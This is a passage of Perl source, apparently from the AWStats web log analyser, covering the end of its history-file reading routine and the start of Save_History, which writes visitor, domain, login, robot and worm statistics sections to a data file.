foreach my $extranum ( 1 .. @ExtraName - 1 ) {
if ( $field[0] eq "BEGIN_EXTRA_$extranum" ) {
if ($Debug) { debug(" Begin of EXTRA_$extranum"); }
$field[0] = '';
my $count = 0;
my $countloaded = 0;
do {
if ( $field[0] ne '' ) {
$count++;
if ( $SectionsToLoad{"extra_$extranum"} ) {
if ( $ExtraStatTypes[$extranum] =~ /P/i
&& $field[1] )
{
${ '_section_' . $extranum . '_p' }
{ $field[0] } += $field[1];
}
${ '_section_' . $extranum . '_h' }
{ $field[0] } += $field[2];
if ( $ExtraStatTypes[$extranum] =~ /B/i
&& $field[3] )
{
${ '_section_' . $extranum . '_k' }
{ $field[0] } += $field[3];
}
if ( $ExtraStatTypes[$extranum] =~ /L/i
&& !${ '_section_' . $extranum . '_l' }
{ $field[0] }
&& $field[4] )
{
${ '_section_' . $extranum . '_l' }
{ $field[0] } = int( $field[4] );
}
$countloaded++;
}
}
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field = split(
/\s+/,
(
$readxml
? XMLDecodeFromHisto($_)
: $_
)
);
$countlines++;
} until ( $field[0] eq "END_EXTRA_$extranum"
|| $field[0] eq "${xmleb}END_EXTRA_$extranum"
|| !$_ );
if ( $field[0] ne "END_EXTRA_$extranum"
&& $field[0] ne "${xmleb}END_EXTRA_$extranum" )
{
error(
"History file \"$filetoread\" is corrupted (End of section EXTRA_$extranum not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
"", "", 1
);
}
if ($Debug) {
debug(
" End of EXTRA_$extranum section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{"extra_$extranum"};
if ( $SectionsToSave{"extra_$extranum"} ) {
Save_History( "extra_$extranum", $year, $month, $date );
delete $SectionsToSave{"extra_$extranum"};
if ($withpurge) {
%{ '_section_' . $extranum . '_p' } = ();
%{ '_section_' . $extranum . '_h' } = ();
%{ '_section_' . $extranum . '_b' } = ();
%{ '_section_' . $extranum . '_l' } = ();
}
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
next;
}
}
# BEGIN_PLUGINS
if ( $AtLeastOneSectionPlugin
&& $field[0] =~ /^BEGIN_PLUGIN_(\w+)$/i )
{
my $pluginname = $1;
my $found = 0;
foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
if ( $pluginname eq $_ ) {
# The plugin for this section was loaded
$found = 1;
my $issectiontoload =
$SectionsToLoad{"plugin_$pluginname"};
# my $function="SectionReadHistory_$pluginname(\$issectiontoload,\$readxml,\$xmleb,\$countlines)";
# eval("$function");
my $function = "SectionReadHistory_$pluginname";
&$function( $issectiontoload, $readxml, $xmleb,
$countlines );
delete $SectionsToLoad{"plugin_$pluginname"};
if ( $SectionsToSave{"plugin_$pluginname"} ) {
Save_History( "plugin_$pluginname",
$year, $month, $date );
delete $SectionsToSave{"plugin_$pluginname"};
if ($withpurge) {
# my $function="SectionInitHashArray_$pluginname()";
# eval("$function");
my $function =
"SectionInitHashArray_$pluginname";
&$function();
}
}
last;
}
}
if ( !scalar %SectionsToLoad ) {
debug(" Stop reading history file. Got all we need.");
last;
}
# The plugin for this section was not loaded
if ( !$found ) {
do {
$_ = <HISTORY>;
chomp $_;
s/\r//;
@field = split(
/\s+/,
(
$readxml
? XMLDecodeFromHisto($_)
: $_
)
);
$countlines++;
} until ( $field[0] eq "END_PLUGIN_$pluginname"
|| $field[0] eq "${xmleb}END_PLUGIN_$pluginname"
|| !$_ );
}
next;
}
# For backward compatibility (ORIGIN section was "HitFromx" in old history files)
if ( $SectionsToLoad{'origin'} ) {
if ( $field[0] eq 'HitFrom0' ) {
$_from_p[0] += 0;
$_from_h[0] += $field[1];
next;
}
if ( $field[0] eq 'HitFrom1' ) {
$_from_p[1] += 0;
$_from_h[1] += $field[1];
next;
}
if ( $field[0] eq 'HitFrom2' ) {
$_from_p[2] += 0;
$_from_h[2] += $field[1];
next;
}
if ( $field[0] eq 'HitFrom3' ) {
$_from_p[3] += 0;
$_from_h[3] += $field[1];
next;
}
if ( $field[0] eq 'HitFrom4' ) {
$_from_p[4] += 0;
$_from_h[4] += $field[1];
next;
}
if ( $field[0] eq 'HitFrom5' ) {
$_from_p[5] += 0;
$_from_h[5] += $field[1];
next;
}
}
}
}
if ($withupdate) {
# Process rest of data saved in 'wait' arrays (data for hosts that are not in history file or no history file found)
# This can change some values for day, sider and session sections
if ($Debug) { debug( " Processing data in 'wait' arrays", 3 ); }
foreach ( keys %_waithost_e ) {
if ($Debug) {
debug( " Visit in 'wait' array for $_ is a new visit", 4 );
}
my $newtimehosts =
( $_waithost_s{$_} ? $_waithost_s{$_} : $_host_s{$_} );
my $newtimehostl =
( $_waithost_l{$_} ? $_waithost_l{$_} : $_host_l{$_} );
$_url_e{ $_waithost_e{$_} }++;
$newtimehosts =~ /^(\d\d\d\d\d\d\d\d)/;
$DayVisits{$1}++;
if ( $_waithost_s{$_} ) {
# There was also a second session in processed log
$_session{ GetSessionRange( $newtimehosts, $newtimehostl ) }++;
}
}
}
# Write all unwrote sections in section order ('general','time', 'day','sider','session' and other...)
if ($Debug) {
debug(
" Check and write all unwrote sections: "
. join( ',', keys %SectionsToSave ),
2
);
}
foreach my $key (
sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} }
keys %SectionsToSave
)
{
Save_History( "$key", $year, $month, $date, $lastlinenb,
$lastlineoffset, $lastlinechecksum );
}
%SectionsToSave = ();
# Update offset in map section and last data in general section then close files
if ($withupdate) {
if ($xml) { print HISTORYTMP "\n\n</xml>\n"; }
# Update offset of sections in the MAP section
foreach ( sort { $PosInFile{$a} <=> $PosInFile{$b} } keys %ValueInFile )
{
if ($Debug) {
debug(
" Update offset of section $_=$ValueInFile{$_} in file at offset $PosInFile{$_}"
);
}
if ( $PosInFile{"$_"} ) {
seek( HISTORYTMP, $PosInFile{"$_"}, 0 );
print HISTORYTMP $ValueInFile{"$_"};
}
}
# Save last data in general sections
if ($Debug) {
debug(
" Update MonthVisits=$MonthVisits{$year.$month} in file at offset $PosInFile{TotalVisits}"
);
}
seek( HISTORYTMP, $PosInFile{"TotalVisits"}, 0 );
print HISTORYTMP $MonthVisits{ $year . $month };
if ($Debug) {
debug(
" Update MonthUnique=$MonthUnique{$year.$month} in file at offset $PosInFile{TotalUnique}"
);
}
seek( HISTORYTMP, $PosInFile{"TotalUnique"}, 0 );
print HISTORYTMP $MonthUnique{ $year . $month };
if ($Debug) {
debug(
" Update MonthHostsKnown=$MonthHostsKnown{$year.$month} in file at offset $PosInFile{MonthHostsKnown}"
);
}
seek( HISTORYTMP, $PosInFile{"MonthHostsKnown"}, 0 );
print HISTORYTMP $MonthHostsKnown{ $year . $month };
if ($Debug) {
debug(
" Update MonthHostsUnknown=$MonthHostsUnknown{$year.$month} in file at offset $PosInFile{MonthHostsUnknown}"
);
}
seek( HISTORYTMP, $PosInFile{"MonthHostsUnknown"}, 0 );
print HISTORYTMP $MonthHostsUnknown{ $year . $month };
close(HISTORYTMP) || error("Failed to write temporary history file");
}
if ($withread) {
close(HISTORY) || error("Command for pipe '$filetoread' failed");
}
# Purge data
if ($withpurge) { &Init_HashArray(); }
# If update, rename tmp file bis into tmp file or set HistoryAlreadyFlushed
if ($withupdate) {
if ( $HistoryAlreadyFlushed{"$year$month$day$hour"} ) {
debug(
"Rename tmp history file bis '$filetoread' to '$filetowrite'");
if ( rename( $filetowrite, $filetoread ) == 0 ) {
error("Failed to update tmp history file $filetoread");
}
}
else {
$HistoryAlreadyFlushed{"$year$month$day$hour"} = 1;
}
if ( !$ListOfYears{"$year"} || $ListOfYears{"$year"} lt "$month" ) {
$ListOfYears{"$year"} = "$month";
}
}
# For backward compatibility, if LastLine does not exist, set to LastTime
$LastLine ||= $LastTime{$date};
return ( $withupdate ? "$filetowrite" : "" );
}
#------------------------------------------------------------------------------
# Function: Save a part of history file
# Parameters: sectiontosave,year,month,breakdate[,lastlinenb,lastlineoffset,lastlinechecksum]
# Input: $VERSION HISTORYTMP $nowyear $nowmonth $nowday $nowhour $nowmin $nowsec $LastLineNumber $LastLineOffset $LastLineChecksum
# Output: None
# Return: None
#------------------------------------------------------------------------------
sub Save_History {
my $sectiontosave = shift || '';
my $year = shift || '';
my $month = shift || '';
my $breakdate = shift || '';
my $xml = ( $BuildHistoryFormat eq 'xml' ? 1 : 0 );
my (
$xmlbb, $xmlbs, $xmlbe, $xmlhb, $xmlhs, $xmlhe,
$xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee
)
= ( '', '', '', '', '', '', '', '', '', '', '' );
if ($xml) {
(
$xmlbb, $xmlbs, $xmlbe, $xmlhb, $xmlhs, $xmlhe,
$xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee
)
= (
"</comment><nu>\n", '</nu><recnb>',
'</recnb><table>', '<tr><th>',
'</th><th>', '</th></tr>',
'<tr><td>', '</td><td>',
'</td></tr>', '</table><nu>',
"\n</nu></section>"
);
}
else { $xmlbs = ' '; $xmlhs = ' '; $xmlrs = ' '; }
my $lastlinenb = shift || 0;
my $lastlineoffset = shift || 0;
my $lastlinechecksum = shift || 0;
if ( !$lastlinenb ) { # This happens for migrate
$lastlinenb = $LastLineNumber;
$lastlineoffset = $LastLineOffset;
$lastlinechecksum = $LastLineChecksum;
}
if ($Debug) {
debug(
" Save_History [sectiontosave=$sectiontosave,year=$year,month=$month,breakdate=$breakdate,lastlinenb=$lastlinenb,lastlineoffset=$lastlineoffset,lastlinechecksum=$lastlinechecksum]",
1
);
}
my $spacebar = " ";
my %keysinkeylist = ();
# Header
if ( $sectiontosave eq 'header' ) {
if ($xml) { print HISTORYTMP "<version><lib>\n"; }
print HISTORYTMP "AWSTATS DATA FILE $VERSION\n";
if ($xml) { print HISTORYTMP "</lib><comment>\n"; }
print HISTORYTMP
"# If you remove this file, all statistics for date $breakdate will be lost/reset.\n";
print HISTORYTMP
"# Last config file used to build this data file was $FileConfig.\n";
if ($xml) { print HISTORYTMP "</comment></version>\n"; }
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
}
print HISTORYTMP
"# Position (offset in bytes) in this file for beginning of each section for\n";
print HISTORYTMP
"# direct I/O access. If you made changes somewhere in this file, you should\n";
print HISTORYTMP
"# also remove completely the MAP section (AWStats will rewrite it at next\n";
print HISTORYTMP "# update).\n";
print HISTORYTMP "${xmlbb}BEGIN_MAP${xmlbs}"
. ( 27 + ( scalar keys %TrapInfosForHTTPErrorCodes ) +
( scalar @ExtraName ? scalar @ExtraName - 1 : 0 ) +
( scalar keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) )
. "${xmlbe}\n";
print HISTORYTMP "${xmlrb}POS_GENERAL${xmlrs}";
$PosInFile{"general"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
# When
print HISTORYTMP "${xmlrb}POS_TIME${xmlrs}";
$PosInFile{"time"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}POS_VISITOR${xmlrs}";
$PosInFile{"visitor"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}POS_DAY${xmlrs}";
$PosInFile{"day"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
# Who
print HISTORYTMP "${xmlrb}POS_DOMAIN${xmlrs}";
$PosInFile{"domain"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}POS_LOGIN${xmlrs}";
$PosInFile{"login"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}POS_ROBOT${xmlrs}";
$PosInFile{"robot"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}POS_WORMS${xmlrs}";
$PosInFile{"worms"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}POS_EMAILSENDER${xmlrs}";
$PosInFile{"emailsender"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}POS_EMAILRECEIVER${xmlrs}";
$PosInFile{"emailreceiver"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
# Navigation
print HISTORYTMP "${xmlrb}POS_SESSION${xmlrs}";
$PosInFile{"session"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}POS_FILESIZE${xmlrs}";
$PosInFile{"filesize"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}POS_SIDER${xmlrs}";
$PosInFile{"sider"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}POS_FILETYPES${xmlrs}";
$PosInFile{"filetypes"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}POS_DOWNLOADS${xmlrs}";
$PosInFile{'downloads'} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}POS_OS${xmlrs}";
$PosInFile{"os"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}POS_BROWSER${xmlrs}";
$PosInFile{"browser"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}POS_SCREENSIZE${xmlrs}";
$PosInFile{"screensize"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}POS_UNKNOWNREFERER${xmlrs}";
$PosInFile{'unknownreferer'} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}POS_UNKNOWNREFERERBROWSER${xmlrs}";
$PosInFile{'unknownrefererbrowser'} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
# Referers
print HISTORYTMP "${xmlrb}POS_ORIGIN${xmlrs}";
$PosInFile{"origin"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}POS_SEREFERRALS${xmlrs}";
$PosInFile{"sereferrals"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}POS_PAGEREFS${xmlrs}";
$PosInFile{"pagerefs"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}POS_SEARCHWORDS${xmlrs}";
$PosInFile{"searchwords"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}POS_KEYWORDS${xmlrs}";
$PosInFile{"keywords"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
# Others
print HISTORYTMP "${xmlrb}POS_MISC${xmlrs}";
$PosInFile{"misc"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}POS_ERRORS${xmlrs}";
$PosInFile{"errors"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}POS_CLUSTER${xmlrs}";
$PosInFile{"cluster"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
foreach ( keys %TrapInfosForHTTPErrorCodes ) {
print HISTORYTMP "${xmlrb}POS_SIDER_$_${xmlrs}";
$PosInFile{"sider_$_"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
}
foreach ( 1 .. @ExtraName - 1 ) {
print HISTORYTMP "${xmlrb}POS_EXTRA_$_${xmlrs}";
$PosInFile{"extra_$_"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
}
foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
print HISTORYTMP "${xmlrb}POS_PLUGIN_$_${xmlrs}";
$PosInFile{"plugin_$_"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_MAP${xmlee}\n";
}
# General
if ( $sectiontosave eq 'general' ) {
$LastUpdate = int("$nowyear$nowmonth$nowday$nowhour$nowmin$nowsec");
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
}
print HISTORYTMP
"# LastLine = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value\n";
print HISTORYTMP
"# FirstTime = Date of first visit for history file\n";
print HISTORYTMP
"# LastTime = Date of last visit for history file\n";
print HISTORYTMP
"# LastUpdate = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped\n";
print HISTORYTMP "# TotalVisits = Number of visits\n";
print HISTORYTMP "# TotalUnique = Number of unique visitors\n";
print HISTORYTMP "# MonthHostsKnown = Number of hosts known\n";
print HISTORYTMP "# MonthHostsUnKnown = Number of hosts unknown\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_GENERAL${xmlbs}8${xmlbe}\n";
print HISTORYTMP "${xmlrb}LastLine${xmlrs}"
. ( $LastLine > 0 ? $LastLine : $LastTime{$breakdate} )
. " $lastlinenb $lastlineoffset $lastlinechecksum${xmlre}\n";
print HISTORYTMP "${xmlrb}FirstTime${xmlrs}"
. $FirstTime{$breakdate}
. "${xmlre}\n";
print HISTORYTMP "${xmlrb}LastTime${xmlrs}"
. $LastTime{$breakdate}
. "${xmlre}\n";
print HISTORYTMP
"${xmlrb}LastUpdate${xmlrs}$LastUpdate $NbOfLinesParsed $NbOfOldLines $NbOfNewLines $NbOfLinesCorrupted $NbOfLinesDropped${xmlre}\n";
print HISTORYTMP "${xmlrb}TotalVisits${xmlrs}";
$PosInFile{"TotalVisits"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}TotalUnique${xmlrs}";
$PosInFile{"TotalUnique"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}MonthHostsKnown${xmlrs}";
$PosInFile{"MonthHostsKnown"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmlrb}MonthHostsUnknown${xmlrs}";
$PosInFile{"MonthHostsUnknown"} = tell HISTORYTMP;
print HISTORYTMP "$spacebar${xmlre}\n";
print HISTORYTMP "${xmleb}"
. ( ${xmleb} ? "\n" : "" )
. "END_GENERAL${xmlee}\n"
; # END_GENERAL on a new line following xml tag because END_ detection does not work like other sections
}
# When
if ( $sectiontosave eq 'time' ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
}
print HISTORYTMP
"# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_TIME${xmlbs}24${xmlbe}\n";
for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
print HISTORYTMP "${xmlrb}$ix${xmlrs}"
. int( $_time_p[$ix] )
. "${xmlrs}"
. int( $_time_h[$ix] )
. "${xmlrs}"
. int( $_time_k[$ix] )
. "${xmlrs}"
. int( $_time_nv_p[$ix] )
. "${xmlrs}"
. int( $_time_nv_h[$ix] )
. "${xmlrs}"
. int( $_time_nv_k[$ix] )
. "${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_TIME${xmlee}\n";
}
if ( $sectiontosave eq 'day' )
{ # This section must be saved after VISITOR section is read
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
}
print HISTORYTMP "# Date - Pages - Hits - Bandwidth - Visits\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_DAY${xmlbs}"
. ( scalar keys %DayHits )
. "${xmlbe}\n";
my $monthvisits = 0;
foreach ( sort keys %DayHits ) {
if ( $_ =~ /^$year$month/i ) { # Found a day entry of the good month
my $page = $DayPages{$_} || 0;
my $hits = $DayHits{$_} || 0;
my $bytes = $DayBytes{$_} || 0;
my $visits = $DayVisits{$_} || 0;
print HISTORYTMP
"${xmlrb}$_${xmlrs}$page${xmlrs}$hits${xmlrs}$bytes${xmlrs}$visits${xmlre}\n";
$monthvisits += $visits;
}
}
$MonthVisits{ $year . $month } = $monthvisits;
print HISTORYTMP "${xmleb}END_DAY${xmlee}\n";
}
# Who
if ( $sectiontosave eq 'domain' ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'Domain'}</sortfor><comment>\n";
}
print HISTORYTMP "# Domain - Pages - Hits - Bandwidth\n";
print HISTORYTMP
"# The $MaxNbOf{'Domain'} first Pages must be first (order not required for others)\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_DOMAIN${xmlbs}"
. ( scalar keys %_domener_h )
. "${xmlbe}\n";
# We save page list in score sorted order to get a -output faster and with less use of memory.
&BuildKeyList(
$MaxNbOf{'Domain'}, $MinHit{'Domain'},
\%_domener_h, \%_domener_p
);
my %keysinkeylist = ();
foreach (@keylist) {
$keysinkeylist{$_} = 1;
my $page = $_domener_p{$_} || 0;
my $bytes = $_domener_k{$_}
|| 0; # ||0 could be commented to reduce history file size
print HISTORYTMP
"${xmlrb}$_${xmlrs}$page${xmlrs}$_domener_h{$_}${xmlrs}$bytes${xmlre}\n";
}
foreach ( keys %_domener_h ) {
if ( $keysinkeylist{$_} ) { next; }
my $page = $_domener_p{$_} || 0;
my $bytes = $_domener_k{$_}
|| 0; # ||0 could be commented to reduce history file size
print HISTORYTMP
"${xmlrb}$_${xmlrs}$page${xmlrs}$_domener_h{$_}${xmlrs}$bytes${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_DOMAIN${xmlee}\n";
}
if ( $sectiontosave eq 'visitor' ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'HostsShown'}</sortfor><comment>\n";
}
print HISTORYTMP
"# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]\n";
print HISTORYTMP
"# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished\n";
print HISTORYTMP
"# The $MaxNbOf{'HostsShown'} first Hits must be first (order not required for others)\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_VISITOR${xmlbs}"
. ( scalar keys %_host_h )
. "${xmlbe}\n";
my $monthhostsknown = 0;
# We save page list in score sorted order to get a -output faster and with less use of memory.
&BuildKeyList( $MaxNbOf{'HostsShown'}, $MinHit{'Host'}, \%_host_h,
\%_host_p );
my %keysinkeylist = ();
foreach my $key (@keylist) {
if ( $key !~ /^\d+\.\d+\.\d+\.\d+$/ && $key !~ /^[0-9A-F]*:/i ) {
$monthhostsknown++;
}
$keysinkeylist{$key} = 1;
my $page = $_host_p{$key} || 0;
my $bytes = $_host_k{$key} || 0;
my $timehostl = $_host_l{$key} || 0;
my $timehosts = $_host_s{$key} || 0;
my $lastpage = $_host_u{$key} || '';
if ( $timehostl && $timehosts && $lastpage ) {
if ( ( $timehostl + $VISITTIMEOUT ) < $LastLine ) {
# Session for this user is expired
if ($timehosts) {
$_session{ GetSessionRange( $timehosts, $timehostl ) }
++;
}
if ($lastpage) { $_url_x{$lastpage}++; }
delete $_host_s{$key};
delete $_host_u{$key};
print HISTORYTMP
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlre}\n";
}
else {
# If this user has started a new session that is not expired
print HISTORYTMP
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlrs}$timehosts${xmlrs}$lastpage${xmlre}\n";
}
}
else {
my $hostl = $timehostl || '';
print HISTORYTMP
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$hostl${xmlre}\n";
}
}
foreach my $key ( keys %_host_h ) {
if ( $keysinkeylist{$key} ) { next; }
if ( $key !~ /^\d+\.\d+\.\d+\.\d+$/ && $key !~ /^[0-9A-F]*:/i ) {
$monthhostsknown++;
}
my $page = $_host_p{$key} || 0;
my $bytes = $_host_k{$key} || 0;
my $timehostl = $_host_l{$key} || 0;
my $timehosts = $_host_s{$key} || 0;
my $lastpage = $_host_u{$key} || '';
if ( $timehostl && $timehosts && $lastpage ) {
if ( ( $timehostl + $VISITTIMEOUT ) < $LastLine ) {
# Session for this user is expired
if ($timehosts) {
$_session{ GetSessionRange( $timehosts, $timehostl ) }
++;
}
if ($lastpage) { $_url_x{$lastpage}++; }
delete $_host_s{$key};
delete $_host_u{$key};
print HISTORYTMP
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlre}\n";
}
else {
# If this user has started a new session that is not expired
print HISTORYTMP
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlrs}$timehosts${xmlrs}$lastpage${xmlre}\n";
}
}
else {
my $hostl = $timehostl || '';
print HISTORYTMP
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$hostl${xmlre}\n";
}
}
$MonthUnique{ $year . $month } = ( scalar keys %_host_p );
$MonthHostsKnown{ $year . $month } = $monthhostsknown;
$MonthHostsUnknown{ $year . $month } =
( scalar keys %_host_h ) - $monthhostsknown;
print HISTORYTMP "${xmleb}END_VISITOR${xmlee}\n";
}
if ( $sectiontosave eq 'login' ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'LoginShown'}</sortfor><comment>\n";
}
print HISTORYTMP "# Login - Pages - Hits - Bandwidth - Last visit\n";
print HISTORYTMP
"# The $MaxNbOf{'LoginShown'} first Pages must be first (order not required for others)\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_LOGIN${xmlbs}"
. ( scalar keys %_login_h )
. "${xmlbe}\n";
# We save login list in score sorted order to get a -output faster and with less use of memory.
&BuildKeyList( $MaxNbOf{'LoginShown'}, $MinHit{'Login'}, \%_login_h,
\%_login_p );
my %keysinkeylist = ();
foreach (@keylist) {
$keysinkeylist{$_} = 1;
print HISTORYTMP "${xmlrb}$_${xmlrs}"
. int( $_login_p{$_} || 0 )
. "${xmlrs}"
. int( $_login_h{$_} || 0 )
. "${xmlrs}"
. int( $_login_k{$_} || 0 )
. "${xmlrs}"
. ( $_login_l{$_} || '' )
. "${xmlre}\n";
}
foreach ( keys %_login_h ) {
if ( $keysinkeylist{$_} ) { next; }
print HISTORYTMP "${xmlrb}$_${xmlrs}"
. int( $_login_p{$_} || 0 )
. "${xmlrs}"
. int( $_login_h{$_} || 0 )
. "${xmlrs}"
. int( $_login_k{$_} || 0 )
. "${xmlrs}"
. ( $_login_l{$_} || '' )
. "${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_LOGIN${xmlee}\n";
}
if ( $sectiontosave eq 'robot' ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'RobotShown'}</sortfor><comment>\n";
}
print HISTORYTMP
"# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt\n";
print HISTORYTMP
"# The $MaxNbOf{'RobotShown'} first Hits must be first (order not required for others)\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_ROBOT${xmlbs}"
. ( scalar keys %_robot_h )
. "${xmlbe}\n";
# We save robot list in score sorted order to get a -output faster and with less use of memory.
&BuildKeyList( $MaxNbOf{'RobotShown'}, $MinHit{'Robot'}, \%_robot_h,
\%_robot_h );
my %keysinkeylist = ();
foreach (@keylist) {
$keysinkeylist{$_} = 1;
print HISTORYTMP "${xmlrb}$_${xmlrs}"
. int( $_robot_h{$_} )
. "${xmlrs}"
. int( $_robot_k{$_} )
. "${xmlrs}$_robot_l{$_}${xmlrs}"
. int( $_robot_r{$_} || 0 )
. "${xmlre}\n";
}
foreach ( keys %_robot_h ) {
if ( $keysinkeylist{$_} ) { next; }
print HISTORYTMP "${xmlrb}$_${xmlrs}"
. int( $_robot_h{$_} )
. "${xmlrs}"
. int( $_robot_k{$_} )
. "${xmlrs}$_robot_l{$_}${xmlrs}"
. int( $_robot_r{$_} || 0 )
. "${xmlre}\n";
}
print HISTORYTMP "${xmleb}END_ROBOT${xmlee}\n";
}
if ( $sectiontosave eq 'worms' ) {
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'WormsShown'}</sortfor><comment>\n";
}
print HISTORYTMP "# Worm ID - Hits - Bandwidth - Last visit\n";
print HISTORYTMP
"# The $MaxNbOf{'WormsShown'} first Hits must be first (order not required for others)\n";
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
print HISTORYTMP "${xmlbb}BEGIN_WORMS${xmlbs}"
. ( scalar keys %_worm_h )
. "${xmlbe}\n";
